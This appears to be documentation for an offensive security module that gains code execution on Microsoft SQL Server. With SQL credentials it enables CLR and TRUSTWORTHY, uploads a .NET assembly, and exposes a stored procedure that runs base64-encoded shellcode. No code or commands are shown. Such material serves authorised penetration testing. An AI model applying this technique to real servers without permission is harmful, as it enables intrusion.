Introduction
This module is based on the work that was done by @leechristensen and @sekirkity as documented here.
Prerequisites
The module requires SQL credentials for a user with sufficient privileges to:
Enable CLR support (if not already enabled).
Enabled TRUSTWORTHY
(if not already enabled).
Add an assembly to the server.
Create a new stored procedure.
The module does all of the above, as required. It uploads a .NET Assembly (pre-built, and stored in the data
folder) which is selected based on the version of the DB in question. This is a shim that exposes a function that allows for a base64-encoded payload to be executed as native shellcode. This function is exposed as a stored proc, which can be called directly through an SQL query with the base64 encoded shellcode.
This module was tested on SQL 2005, 2012 and 2016 (all x64 versions). I haven't tested on x86 yet. there is code in the module that makes sure that the target architecture matches the payload that was chosen.
This code also includes command-line builds for the assembly that is used to provide the code execution function, and can be built in the same way that all the other exploits are built (from a Visual Studio command line).
